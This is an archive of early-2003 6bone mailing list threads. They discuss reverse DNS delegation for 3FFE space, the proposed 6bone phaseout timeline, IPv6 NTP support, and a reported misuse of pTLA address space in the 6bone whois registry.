| Why would you need to use ipv6 notation? Try ntp.ipv6.viagenie.qc.ca,
| or you could try ntp.immanent.net (which is just a workstation synced
| to some public servers).
|
| Frederick

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Subject: [6bone] Fwd: Reverse delegation for 6bone address space in ip6.arpa
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6bone Folk,

The RIPE NCC has just issued the following about reverse delegation for 
6bone address space in ip6.arpa.


Bob

===
>Date: Fri, 10 Jan 2003 12:39:47 +0100
>From: Andrei Robachevsky <andrei@ripe.net>
>Organization: RIPE NCC
>To: ipv6-wg@ripe.net
>CC: Bob Fink <bob@thefinks.com>
>Subject: Reverse delegation for 6bone address space in ip6.arpa
>
>Dear Colleagues,
>
>In accordance with RFC 3152, the administration of the name space within
>ip6.arpa has been delegated to the RIRs. The 3FFE::/16 address space has 
>not yet been allocated to the RIRs by the IANA. It is the intention that 
>the RIRs administer this space. The community has expressed a need for 
>3FFE reverse space to be in the ip6.arpa domain. The RIR CEOs sent a 
>message to the IAB requesting a waiver regarding the RFC 3152 requirement 
>and received a positive response. The RIRs are prepared to administer 
>e.f.f.3.ip6.arpa domain in the manner as described below.
>
>We plan to implement it in the next few weeks and deliver the solution 
>soon after the RIPE 44 Meeting in January.
>
>Regards,
>
>Andrei Robachevsky
>CTO, RIPE NCC
>
>
>Support for reverse delegation for 6bone address space in ip6.arpa DNS tree
>---------------------------------------------------------------------------
>
>Phase I. Before a final decision is made on future management of the 3FFE 
>address space
>
>The delegation for e.f.f.3.ip6.arpa is made by IANA to one of the RIRs. 
>Zone information for this space is produced by copying the existing 
>delegations in the e.f.f.3.ip6.int zone. Additional check is done to 
>ensure that the servers corresponding to the NS RR are also authoritative 
>in .arpa space. Zone information is updated whenever changes are detected 
>in the e.f.f.3.ip6.int zone.
>
>This approach has a couple of advantages. It keeps the RIRs out of the 
>6bone registration process until a final decision is made on future 
>management of the 3FFE address space. It also implies no procedural 
>changes from a user's perspective since changes are made in only one 
>place, while at the same time it moves responsibility for maintaining the 
>e.f.f.3.ip6.arpa zone to the RIRs. This then prepares for a smoother 
>transition to Phase II.
>
>The main constraint of this approach is that it forces registrants to use 
>the same name servers for .arpa as for .int.
>
>
>Phase II. Registration of 3FFE space is transferred to the RIRs
>
>A shared zone management process will be implemented similar to that
>currently implemented by the RIRs for the legacy v4 space (ERX project,
>http://www.ripe.net/db/erx/). That is, holders of 6bone address space will 
>be served for reverse delegation by the respective RIR in their region, 
>and the generation of the e.f.f.3.ip6.arpa zone can be entirely automated 
>using zone merging.

-end



From bob@thefinks.com Fri Jan 10 08:08:42 2003
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Subject: [6bone] 6bone phaseout planning announcement
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6bone Folk,

The following draft has been submitted to the IETF ID directory, but hasn't 
appeared yet, so I have placed it on the 6bone web site.

Bob Hinden and I, as co-authors (along with Jon Postel) of RFC 2471, which 
allocated the 6bone's 3FFE::/16 testing prefix, have just co-authored an 
I-D to establish a phaseout timeline and plan for the 6bone. We have done 
this after various conversations about the future of the 6bone with various 
folk in the 6bone, Internet and RIR communities. The sum of these 
conversations has led us to believe that it time to start a 6bone phaseout 
planning process. Note that, as stated below, the plan and dates are for 
discussion. Nothing has been pre-determined or pre-decided by anyone.

The background, plan and proposed timeline of this are described in the 
draft itself, which has just been released to the ID Directory. This 
includes an explanation of why we believe this process should be done 
within the IETF community. Note that it is expected that 6bone participants 
will have a considerable part in this discussion, whether on the 6bone 
list, an IETF list or an RIR list.

If you are interested please read and comment:

   <http://www.6bone.net/misc/draft-fink-6bone-phaseout-00.txt>

Note that the plan and dates stated in the draft are only for discussion. 
It is now up to the IETF open process to establish the actual plan and timing.


Thanks,

Bob Fink
Bob Hinden 


From jordi.palet@consulintel.es Fri Jan 10 08:42:04 2003
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From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
To: <6bone@mailman.isi.edu>
References: <5.2.0.9.0.20030108111030.0213dda0@mail.addr.com>
Subject: Re: [6bone] 6bone phaseout planning announcement
Date: Fri, 10 Jan 2003 17:42:20 +0100
Organization: Consulintel
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Hi Bob, all,

After a quick read of the draft my thoughts are:

1) I agree in the main aspects of the process, as we already discussed this some time ago.
2) It seems to be that July 1st 2006 is reasonable for the final close-down.
3) It seems to me that we must allocate pTLAs until January 1st 2006 (6 months can still do a lot for "last minute" newcomers).
4) I'm missing something that we discussed, relative to facilities from the RIRs to allocate production space to pTLA owners, let's
say starting on July 1st 2004 (to facilitate the transition and encourage it).

I understand that this can kick-off the discussion at least for the dates, as you point in your email ;-) and hope is useful.

Regards,
Jordi

----- Original Message -----
From: "Bob Fink" <bob@thefinks.com>
To: "6BONE List" <6bone@mailman.isi.edu>
Sent: Friday, January 10, 2003 5:05 PM
Subject: [6bone] 6bone phaseout planning announcement


> 6bone Folk,
>
> The following draft has been submitted to the IETF ID directory, but hasn't
> appeared yet, so I have placed it on the 6bone web site.
>
> Bob Hinden and I, as co-authors (along with Jon Postel) of RFC 2471, which
> allocated the 6bone's 3FFE::/16 testing prefix, have just co-authored an
> I-D to establish a phaseout timeline and plan for the 6bone. We have done
> this after various conversations about the future of the 6bone with various
> folk in the 6bone, Internet and RIR communities. The sum of these
> conversations has led us to believe that it time to start a 6bone phaseout
> planning process. Note that, as stated below, the plan and dates are for
> discussion. Nothing has been pre-determined or pre-decided by anyone.
>
> The background, plan and proposed timeline of this are described in the
> draft itself, which has just been released to the ID Directory. This
> includes an explanation of why we believe this process should be done
> within the IETF community. Note that it is expected that 6bone participants
> will have a considerable part in this discussion, whether on the 6bone
> list, an IETF list or an RIR list.
>
> If you are interested please read and comment:
>
>    <http://www.6bone.net/misc/draft-fink-6bone-phaseout-00.txt>
>
> Note that the plan and dates stated in the draft are only for discussion.
> It is now up to the IETF open process to establish the actual plan and timing.
>
>
> Thanks,
>
> Bob Fink
> Bob Hinden
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


***********************************
Madrid 2003 Global IPv6 Summit
12-14 May 2003 - Soon on line at:
http://www.ipv6-es.com
Interested in participating or sponsoring ?
Contact us at ipv6@consulintel.es



From jeroen@unfix.org Fri Jan 10 08:59:00 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Bob Fink'" <bob@thefinks.com>, "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] 6bone phaseout planning announcement
Date: Fri, 10 Jan 2003 18:00:14 +0100
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Bob Fink wrote:

> If you are interested please read and comment:
> 
>   <http://www.6bone.net/misc/draft-fink-6bone-phaseout-00.txt>

The 6bone IPv6 mirror apparently hasn't mirrored the file,
but it can be found in IPv4 on:
http://131.243.129.43/misc/draft-fink-6bone-phaseout-00.txt

Or IPv6 + IPv4:
http://www.sixxs.net/archive/draft-fink-6bone-phaseout-00.txt

Btw, the dates look quite reasonable to me.

Greets,
 Jeroen


From bob@thefinks.com Fri Jan 10 09:06:04 2003
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   <6bone@mailman.isi.edu>
From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] 6bone phaseout planning announcement
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At 05:42 PM 1/10/2003 +0100, JORDI PALET MARTINEZ wrote:
>Hi Bob, all,
>
>After a quick read of the draft my thoughts are:
>
>1) I agree in the main aspects of the process, as we already discussed 
>this some time ago.
>2) It seems to be that July 1st 2006 is reasonable for the final close-down.
>3) It seems to me that we must allocate pTLAs until January 1st 2006 (6 
>months can still do a lot for "last minute" newcomers).
>4) I'm missing something that we discussed, relative to facilities from 
>the RIRs to allocate production space to pTLA owners, let's
>say starting on July 1st 2004 (to facilitate the transition and encourage it).

As we said in the draft I don't want the phaseout plan to pre-dispose what 
level a pTLA holder gravitates to in production prefix space. They may 
rightly need to be at the top level, or some other level. It is a big can 
of worms to pre-decide this, seems to me.

 From last paragraph of 2.0 in the draft
>"It should be noted that this RFC does not intend to imply that a
>    6bone prefix holder, whether at the pTLA top level or lower, should
>    seek a production IPv6 address prefix at any specific level. It may
>    be entirely reasonable for a 6bone prefix holder to seek a higher
>    level, or a lower level, IPv6 prefix as their specific needs dictate."


>I understand that this can kick-off the discussion at least for the dates, 
>as you point in your email ;-) and hope is useful.


Thanks for the comments,

Bob 


From bob@thefinks.com Fri Jan 10 09:06:44 2003
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From: Bob Fink <bob@thefinks.com>
Subject: RE: [6bone] 6bone phaseout planning announcement
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At 06:00 PM 1/10/2003 +0100, Jeroen Massar wrote:
>Bob Fink wrote:
>
> > If you are interested please read and comment:
> >
> >   <http://www.6bone.net/misc/draft-fink-6bone-phaseout-00.txt>
>
>The 6bone IPv6 mirror apparently hasn't mirrored the file,

True enough.

>but it can be found in IPv4 on:
>http://131.243.129.43/misc/draft-fink-6bone-phaseout-00.txt
>
>Or IPv6 + IPv4:
>http://www.sixxs.net/archive/draft-fink-6bone-phaseout-00.txt
>
>Btw, the dates look quite reasonable to me.

Thanks for the comments and reposting.


Bob 


From bmanning@ISI.EDU Fri Jan 10 09:07:41 2003
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] ntp/kame
In-Reply-To: <20030110001321.P24115-100000@wireless.cs.twsu.edu> from Abdul Basit at "Jan 10, 3 00:16:19 am"
To: basit@basit.cc (Abdul Basit)
Date: Fri, 10 Jan 2003 09:07:36 -0800 (PST)
Cc: snap-users@kame.net, 6bone@ISI.EDU, hiddy@ISI.EDU
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% 
% Hi,
% 
%  Has anyone checked out ntp ipv6 implementation?
% as far as i tested, none(ntp4.1rc1, ntp 4.1.72, 4.1.70,
% 4.1.0 (patched from viaganie patch) worked on kame/freebsd
% (snap 6'th jan).
% 
% viaganie patched ipv6 results in not IPV6_ONLY error
% and others do not recognize ipv6 address notion.
% 
% - basit
% 
% _______________________________________________
% 6bone mailing list

	Hiddy has been working on this for a bit and it seems to be
	working for us.

	I understand that he has submitted his work back to the 
	ntp maintainers.  if its not there now, I can tar up what
	we have and send it out.


--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From jordi.palet@consulintel.es Fri Jan 10 09:31:21 2003
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To: <6bone@mailman.isi.edu>
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Yes, I see your point, but we must try ...

I'm not meaning mandating to move to a production prefix, of course, but asking the RIRs to help those that want to move into
production, no new requirements (no consider them as starting from scratch) or even with lower fees or something like that.

May be you can comment if any off-line talks have already done with the RIRs ?

Regards,
Jordi

----- Original Message -----
From: "Bob Fink" <bob@thefinks.com>
To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>; <6bone@mailman.isi.edu>
Sent: Friday, January 10, 2003 6:05 PM
Subject: Re: [6bone] 6bone phaseout planning announcement


> At 05:42 PM 1/10/2003 +0100, JORDI PALET MARTINEZ wrote:
> >Hi Bob, all,
> >
> >After a quick read of the draft my thoughts are:
> >
> >1) I agree in the main aspects of the process, as we already discussed
> >this some time ago.
> >2) It seems to be that July 1st 2006 is reasonable for the final close-down.
> >3) It seems to me that we must allocate pTLAs until January 1st 2006 (6
> >months can still do a lot for "last minute" newcomers).
> >4) I'm missing something that we discussed, relative to facilities from
> >the RIRs to allocate production space to pTLA owners, let's
> >say starting on July 1st 2004 (to facilitate the transition and encourage it).
>
> As we said in the draft I don't want the phaseout plan to pre-dispose what
> level a pTLA holder gravitates to in production prefix space. They may
> rightly need to be at the top level, or some other level. It is a big can
> of worms to pre-decide this, seems to me.
>
>  From last paragraph of 2.0 in the draft
> >"It should be noted that this RFC does not intend to imply that a
> >    6bone prefix holder, whether at the pTLA top level or lower, should
> >    seek a production IPv6 address prefix at any specific level. It may
> >    be entirely reasonable for a 6bone prefix holder to seek a higher
> >    level, or a lower level, IPv6 prefix as their specific needs dictate."
>
>
> >I understand that this can kick-off the discussion at least for the dates,
> >as you point in your email ;-) and hope is useful.
>
>
> Thanks for the comments,
>
> Bob
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


***********************************
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12-14 May 2003 - Soon on line at:
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From bob@thefinks.com Fri Jan 10 09:59:25 2003
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From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] 6bone phaseout planning announcement
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Jordi,

At 06:31 PM 1/10/2003 +0100, JORDI PALET MARTINEZ wrote:
>Yes, I see your point, but we must try ...
>
>I'm not meaning mandating to move to a production prefix, of course, but 
>asking the RIRs to help those that want to move into
>production, no new requirements (no consider them as starting from 
>scratch) or even with lower fees or something like that.

I understand your point. Thanks.


>May be you can comment if any off-line talks have already done with the RIRs ?

No dialog has started yet re a phaseout. You are the first!!


Thanks,

Bob 


From michel@arneill-py.sacramento.ca.us Fri Jan 10 21:43:02 2003
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Subject: [6bone] 6bone phaseout planning announcement 
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Bob, Bob, 6boners,

> Bob Fink wrote:
> The following draft has been submitted to the IETF ID directory,
> but hasn't appeared yet, so I have placed it on the 6bone web site.

It has appeared now, see:
http://www.ietf.org/internet-drafts/draft-fink-6bone-phaseout-00.txt

Short comments [before the long ones]:
- I think that such a document is necessary, and I support it.

> Jordi Palet Martinez wrote:
> 3) It seems to me that we must allocate pTLAs until January 1st
> 2006 (6 months can still do a lot for "last minute" newcomers).

- I agree with Jordi here that 6 months before the sunset seems a reasonable limit to me to allocate new pTLAs.

- The sunset in July (vs. January) seems a good idea to me. Operationally speaking, July is better time of year to monkey with filter-lists.

- I would personally be favorable to a sunset one year after what you proposed, July 1 2007. This is a matter of appreciation and shall be discussed. The 2006 sunset is reasonable as well, IMHO.

- This might push things behind what some have in mind, so I have a question for Bob Fink:
Bob, by then your house will be completed. How many bottles of Sassacaia does it take for you to stay at the helm until 2007?


Long comments:
[disclaimer] Most of what follows are arguments about why the 6bone should be shut down. It does *not* mean that I think the 6bone is bad. I just don't have time to write about why it is good, as it does not need justification. 6bone ROCKS.

That being said, there are two main reasons why the 6bone needs to sunset.
1. The prefix MUST be reclaimed.
2. The 6bone will at some point handicap the development of a
   native IPv6 backbone.

1. The prefix must be reclaimed.
We must make clear that the 6bone is, has always been, and will always be EXPERIMENTAL, which means it is not a cheap substitute for temporary portable address space that is to be transformed into permanent portable address space.

I am not a pTLA. I am not stupid though; if I feel that the pTLA status is a shortcut to a permanent /32 portable address space, I will setup overnight something (like adding a cable modem to my residential aDSL, that does not remind anybody anything, does it) that exceeds RFC 2772 and become one.
We must foil schemes that will lead to a landrush a year before sunset and leave us with the déjà vu of the IPv4 swamp.


2. The 6bone will at some point handicap the development of a
   native IPv6 backbone.

The current situation, everyone providing free transit to everyone and no IPv6 DFZ is no business model.

It has worked so far because there is no money to make with IPv6 (the crumbs the handful of commercial v6 ISPs are making today are 3 orders of magnitude below what it takes to build a backbone).
As of today, the volunteer efforts of what is collectively the 6bone have been a launchpad for IPv6.
At some point, a real commercial backbone is needed though. I wish IPv6 service could be free forever, bit this simply is not the way it works.

The challenge we are facing is to time the 6bone sunset when it will become more an obstacle than it is a benefit today.

What are the reasons that I think 2007 would be more appropriate than 2006:
- Deployment of commercial IPv6 remains confidential. The "killer app" that would launch v6 into orbit has not been found yet, and given the current state of the economy 3 years is not enough for a launch.
- Until v6 becomes mainstream, a boatload of 2001:: tunnel brokers is no improvement over a truckload of 3FFE:: tunnel brokers.
- There is no IPv6 multihoming solution as of today.

In short: I generally approve the text. My reading of fine-tuning is that it realistically appears a little short-timed, but I would support a 2006 sunset.

Michel.


From dr@cluenet.de Sat Jan 11 07:39:59 2003
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From: Daniel Roesen <dr@cluenet.de>
To: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] 6bone phaseout planning announcement
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On Fri, Jan 10, 2003 at 08:05:38AM -0800, Bob Fink wrote:
> If you are interested please read and comment:
> 
>    <http://www.6bone.net/misc/draft-fink-6bone-phaseout-00.txt>

This timeline sounds reasonable to me. Not too short and not too long,
so keeps momentum.

Perhaps a recommendation (or even requirement?) to start filtering
3FFE::/16 orlonger on 2006-07-01 would be a good idea, but might be
unnecessary.


Regards,
Daniel

From jeroen@unfix.org Sat Jan 11 09:35:48 2003
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Subject: RE: [6bone] 6bone phaseout planning announcement
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Daniel Roesen wrote:

> On Fri, Jan 10, 2003 at 08:05:38AM -0800, Bob Fink wrote:
> > If you are interested please read and comment:
> > 
> >    <http://www.6bone.net/misc/draft-fink-6bone-phaseout-00.txt>
> 
> This timeline sounds reasonable to me. Not too short and not too long,
> so keeps momentum.
> 
> Perhaps a recommendation (or even requirement?) to start filtering
> 3FFE::/16 orlonger on 2006-07-01 would be a good idea, but might be
> unnecessary.

IMHO there should be no filtering for this space.
It should not be announced at all and if a packet is detected
the party sending out that packet should be <fill in punishment>.

Good reason for not filtering are:
 - If someone does use it it will show up in the various monitors.
 - It avoids having to remove the filters when IANA reassigns the space.

Especially the second part is usefull as, like seen now on some networks
who filter out certain ipv4 prefixes and 'forget' about the filters.

Greets,
 Jeroen


From nicolas.deffayet@ndsoftware.net Sat Jan 11 15:30:21 2003
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Subject: [6bone] 3FFE:4014::/32 - Another pTLA space hijack
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Hi all,

I have discover another pTLA space hijack:

--------------------------------------------------------------------->
Sun Jan 12 00:12:55 CET 2003

% RIPEdb(3.0.0b2) with ISI RPSL extensions

ipv6-site:    6BONE
origin:       AS293
descr:        IETF NGTRANS Working Group IPv6 Testbed
prefix:       3FFE::/16
contact:      RLF1-6BONE
remarks:      This object is automatically converted from the RIPE181
registry
url:          http://www.6bone.net
notify:       fink@es.net
mnt-by:       RLF1-6BONE
changed:      fink@es.net 20001128
changed:      auto-dbm@whois.6bone.net 20010117
source:       6BONE

inet6num:     3FFE:4014::/32
netname:      ircspace
descr:        ircspace test ipv6
country:      IT
admin-c:      PD77-6BONE
tech-c:       PD77-6BONE
mnt-by:       ROBBTEK
changed:      proliste@libero.it 20021128
source:       6BONE

person:       Robert L. Fink
address:      ESnet - Lawrence Berkeley National Laboratory
phone:        +1 510 486 5692
e-mail:       fink@es.net
nic-hdl:      RLF1-6BONE
remarks:      change to my esnet email address
remarks:      This object is automatically converted from the RIPE181
registry
notify:       fink@es.net
mnt-by:       RLF1-6BONE
changed:      fink@es.net 19991206
changed:      fink@es.net 20000521
changed:      auto-dbm@whois.6bone.net 20010117
source:       6BONE

person:       Roberto Milani
address:      via padova 17
phone:        +390721335478
nic-hdl:      PD77-6BONE
mnt-by:       ROBBTEK
changed:      proliste@libero.it 20021128
source:       6BONE
--------------------------------------------------------------------->

Why we don't protect the 6bone whois database with mnt-lower ?


Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From pekkas@netcore.fi Sat Jan 11 22:13:28 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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Subject: Re: [6bone] 3FFE:4014::/32 - Another pTLA space hijack
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On 12 Jan 2003, Nicolas DEFFAYET wrote:
[...]
> Why we don't protect the 6bone whois database with mnt-lower ?

Would that help significantly?  Then people would just hijack the space
and start advertising it.  Now we can see when they add something ugly in
the database :-).

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From rvdp@rvdp.org Sun Jan 12 02:20:08 2003
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Subject: Re: [6bone] 6bone phaseout planning announcement
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On Fri, Jan 10, 2003 at 18:00:14 +0100, Jeroen Massar wrote:

> Bob Fink wrote:
> 
> > If you are interested please read and comment:
> > 
> >   <http://www.6bone.net/misc/draft-fink-6bone-phaseout-00.txt>
> 
> The 6bone IPv6 mirror apparently hasn't mirrored the file,

I think this is a bad situation. Why isn't the 6bone website on a
dual stack server?

	rvdp

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On Fri, Jan 10, 2003 at 21:43:07 -0800, Michel Py wrote:

> > Jordi Palet Martinez wrote:
> > 3) It seems to me that we must allocate pTLAs until January 1st
> > 2006 (6 months can still do a lot for "last minute" newcomers).
> 
> - I agree with Jordi here that 6 months before the sunset seems a reasonable limit to me to allocate new pTLAs.

I like the phases in Bob's draft. We all know what will happen. On July 1,
2004 people will start screaming that 6bone allocations have "suddenly
stopped". It will take some time before people start realizing that
the 6bone is something that will end. Hopefully, with the 2004 phase
it will be easier to completely end the 6bone in 2006.

	rvdp

From nicolas.deffayet@ndsoftware.net Sun Jan 12 06:07:25 2003
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Subject: Re: [6bone] 3FFE:4014::/32 - Another pTLA space hijack
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Pekka Savola <pekkas@netcore.fi>
Cc: 6bone@mailman.isi.edu
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On Sun, 2003-01-12 at 07:13, Pekka Savola wrote:
> On 12 Jan 2003, Nicolas DEFFAYET wrote:
> [...]
> > Why we don't protect the 6bone whois database with mnt-lower ?
> 
> Would that help significantly?  Then people would just hijack the space
> and start advertising it.  Now we can see when they add something ugly in
> the database :-).

I don't agree with you, you can announce a route without something in
the database...

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From pekkas@netcore.fi Sun Jan 12 06:28:23 2003
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From: Pekka Savola <pekkas@netcore.fi>
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Subject: Re: [6bone] 3FFE:4014::/32 - Another pTLA space hijack
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On 12 Jan 2003, Nicolas DEFFAYET wrote:
> On Sun, 2003-01-12 at 07:13, Pekka Savola wrote:
> > On 12 Jan 2003, Nicolas DEFFAYET wrote:
> > [...]
> > > Why we don't protect the 6bone whois database with mnt-lower ?
> > 
> > Would that help significantly?  Then people would just hijack the space
> > and start advertising it.  Now we can see when they add something ugly in
> > the database :-).
> 
> I don't agree with you, you can announce a route without something in
> the database...

.. which was exactly my point (perhaps not worded carefully): and that's
why mnt-lower does not seem to help that much for this specific problem..

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings



From pekkas@netcore.fi Sun Jan 12 06:52:16 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
cc: Michel Py <michel@arneill-py.sacramento.ca.us>, <6bone@ISI.EDU>,
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Subject: Re: [6bone] 6bone phaseout planning announcement
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On Sun, 12 Jan 2003, Ronald van der Pol wrote:
> On Fri, Jan 10, 2003 at 21:43:07 -0800, Michel Py wrote:
> > > Jordi Palet Martinez wrote:
> > > 3) It seems to me that we must allocate pTLAs until January 1st
> > > 2006 (6 months can still do a lot for "last minute" newcomers).
> > 
> > - I agree with Jordi here that 6 months before the sunset seems a reasonable limit to me to allocate new pTLAs.
> 
> I like the phases in Bob's draft. We all know what will happen. On July 1,
> 2004 people will start screaming that 6bone allocations have "suddenly
> stopped". It will take some time before people start realizing that
> the 6bone is something that will end. Hopefully, with the 2004 phase
> it will be easier to completely end the 6bone in 2006.

Screaming?  Uh-oh.  IPv6 should be commonplace enough then (it's getting
there now..).  And besides, the rate of pTLA's has decreased significantly
because of the more liberal RIR sTLA policies.  Earlier, ISP's just got
6bone addresses because it was easier.  Now they don't bother (in most
cases) unless they didn't qualify RIR criteria.

My prediction is that by Q2/2004 pretty much nobody even cares about 6bone
(I hope so!), and by 2006 it is almost completely forgotten.

Thus I'd be OK with an even quicker phaseout plan.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From jeroen@unfix.org Sun Jan 12 07:28:56 2003
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Subject: RE: [6bone] 3FFE:4014::/32 - Another pTLA space hijack
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Pekka Savola wrote:

> On 12 Jan 2003, Nicolas DEFFAYET wrote:
> > On Sun, 2003-01-12 at 07:13, Pekka Savola wrote:
> > > On 12 Jan 2003, Nicolas DEFFAYET wrote:
> > > [...]
> > > > Why we don't protect the 6bone whois database with mnt-lower ?
> > > 
> > > Would that help significantly?  Then people would just 
> hijack the space
> > > and start advertising it.  Now we can see when they add 
> something ugly in
> > > the database :-).
> > 
> > I don't agree with you, you can announce a route without 
> something in
> > the database...
> 
> .. which was exactly my point (perhaps not worded carefully): 
> and that's
> why mnt-lower does not seem to help that much for this 
> specific problem..

The people allowing that prefix to be announced and routed, thus their
upstreams shout also be shot on site as they apparently don't have
appropriate filters for their downstreams.

But, checking my TLA watcher (*) it didn't pop up at any of the 
* = http://www.sixxs.net/tools/grh/tla/all/?prefix=3ffe:4014::/32

Coming to the above statement I wonder to what level 'tunnelbroker'
systems filter their downstreams. Eg. allowing only the delegated
space or allowing the tunnels to be used for complete transit which
when thinking along allows 1 way spoofing also something we don't want.
Figure out where packets are flowing from then... Limiting this
would also block out many potential problems.

Also be glad the italian guy didn't pick one prefix lower
otherwise you yourself would have been hurt if it where announced.

Greets,
 Jeroen


From pim@ipng.nl Sun Jan 12 09:33:44 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Abdul Basit <basit@basit.cc>
Cc: snap-users@kame.net, 6bone@mailman.isi.edu
Subject: Re: [6bone] ntp/kame
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|  Has anyone checked out ntp ipv6 implementation?
| as far as i tested, none(ntp4.1rc1, ntp 4.1.72, 4.1.70,
| 4.1.0 (patched from viaganie patch) worked on kame/freebsd
| (snap 6'th jan).
Basit,

After a Golden Tip [tmw from Wim Biemolt, I downloadede the Bitkeeper
software and checked out the software (also ntp 4.1.72), compiled
and ran this without a problem. I'm currently testing the software
and believe it'll prove to be stable. I've heard other sites are
running this ntp4.1.72 (with or without a clock), and have found
what I'm looking for.

Will update ntp1/ntp2.bit.nl to run IPv6 NTP within several days.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From pim@ipng.nl Sun Jan 12 09:42:26 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Bob Fink <bob@thefinks.com>
Cc: 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] 6bone phaseout planning announcement
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|   <http://www.6bone.net/misc/draft-fink-6bone-phaseout-00.txt>
| 
| Note that the plan and dates stated in the draft are only for discussion. 
| It is now up to the IETF open process to establish the actual plan and 
| timing.

I have read the document and I agree to all of your suggestions and
remarks. Note that repeat yourself once in the document:
> This document is intended to obsolete RFC 2471, "IPv6 Testing Address
> Allocation", December, 1998.  RFC 2471 will become historic.

About the dates, 7/2004 through 7/2006 seems to be quite a long time in
my opinion. I'd like to see 7/2005 as closing date, because one year of
deployment practice should be enough for most companies.

Perhaps when time progresses, we'll have a lot of best common practices
regarding IPv6 deployment and administration, so that it can be
considered a valid possibility for entities with an IPv6 deployment
plan which requires a TLA, to simply request one from their RIR.

In short: In 2005, I don't think anybody will need separated space to
experiment in. I'd like to see the closing date moved forward to July
2005.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From nicolas.deffayet@ndsoftware.net Sun Jan 12 11:12:54 2003
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Subject: Re: [6bone] 6bone phaseout planning announcement
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Pim van Pelt <pim@ipng.nl>
Cc: Bob Fink <bob@thefinks.com>, 6BONE List <6bone@mailman.isi.edu>
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On Sun, 2003-01-12 at 18:41, Pim van Pelt wrote:
> |   <http://www.6bone.net/misc/draft-fink-6bone-phaseout-00.txt>
> | 
> | Note that the plan and dates stated in the draft are only for discussion. 
> | It is now up to the IETF open process to establish the actual plan and 
> | timing.
> 
> I have read the document and I agree to all of your suggestions and
> remarks. Note that repeat yourself once in the document:
> > This document is intended to obsolete RFC 2471, "IPv6 Testing Address
> > Allocation", December, 1998.  RFC 2471 will become historic.
> 
> About the dates, 7/2004 through 7/2006 seems to be quite a long time in
> my opinion. I'd like to see 7/2005 as closing date, because one year of
> deployment practice should be enough for most companies.
> 
> Perhaps when time progresses, we'll have a lot of best common practices
> regarding IPv6 deployment and administration, so that it can be
> considered a valid possibility for entities with an IPv6 deployment
> plan which requires a TLA, to simply request one from their RIR.
> 
> In short: In 2005, I don't think anybody will need separated space to
> experiment in. I'd like to see the closing date moved forward to July
> 2005.

I agree, July 2005 is a good closing date.


-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From tjc@ecs.soton.ac.uk Sun Jan 12 12:29:02 2003
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On Sun, Jan 12, 2003 at 08:12:37PM +0100, Nicolas DEFFAYET wrote:
> 
> I agree, July 2005 is a good closing date.

I'm not so sure.

I'd like to see a chart of new pTLA allocation volume against new SubTLA
allocation volume for 1999 onwards...

The 6bone has been running for, what, 6 years?  To close it in 3 seems
short, given deployment status.  I know of at least two large projects that
will be using pTLAs out to at least January 2005.

Tim

From jeroen@unfix.org Sun Jan 12 13:12:52 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Tim Chown'" <tjc@ecs.soton.ac.uk>,
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Subject: RE: [6bone] 6bone phaseout planning announcement
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Tim Chown wrote:
> On Sun, Jan 12, 2003 at 08:12:37PM +0100, Nicolas DEFFAYET wrote:
> > 
> > I agree, July 2005 is a good closing date.
> 
> I'm not so sure.
> 
> I'd like to see a chart of new pTLA allocation volume against 
> new SubTLA
> allocation volume for 1999 onwards...
> 
> The 6bone has been running for, what, 6 years?  To close it in 3 seems
> short, given deployment status.  I know of at least two large 
> projects that
> will be using pTLAs out to at least January 2005.

Maybe it's a good plan to let every pTLA holder give a little sum-up of
where they are using their TLA's for ?
There could be a possibility that projects could help out each other
etc...

Greets,
 Jeroen


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Date: Sun, 12 Jan 2003 17:18:32 -0800
To: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
From: Bob Fink <bob@thefinks.com>
Subject: Re: [6bone] 6bone phaseout planning announcement
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At 11:20 AM 1/12/2003 +0100, Ronald van der Pol wrote:
>On Fri, Jan 10, 2003 at 18:00:14 +0100, Jeroen Massar wrote:
>
> > Bob Fink wrote:
> >
> > > If you are interested please read and comment:
> > >
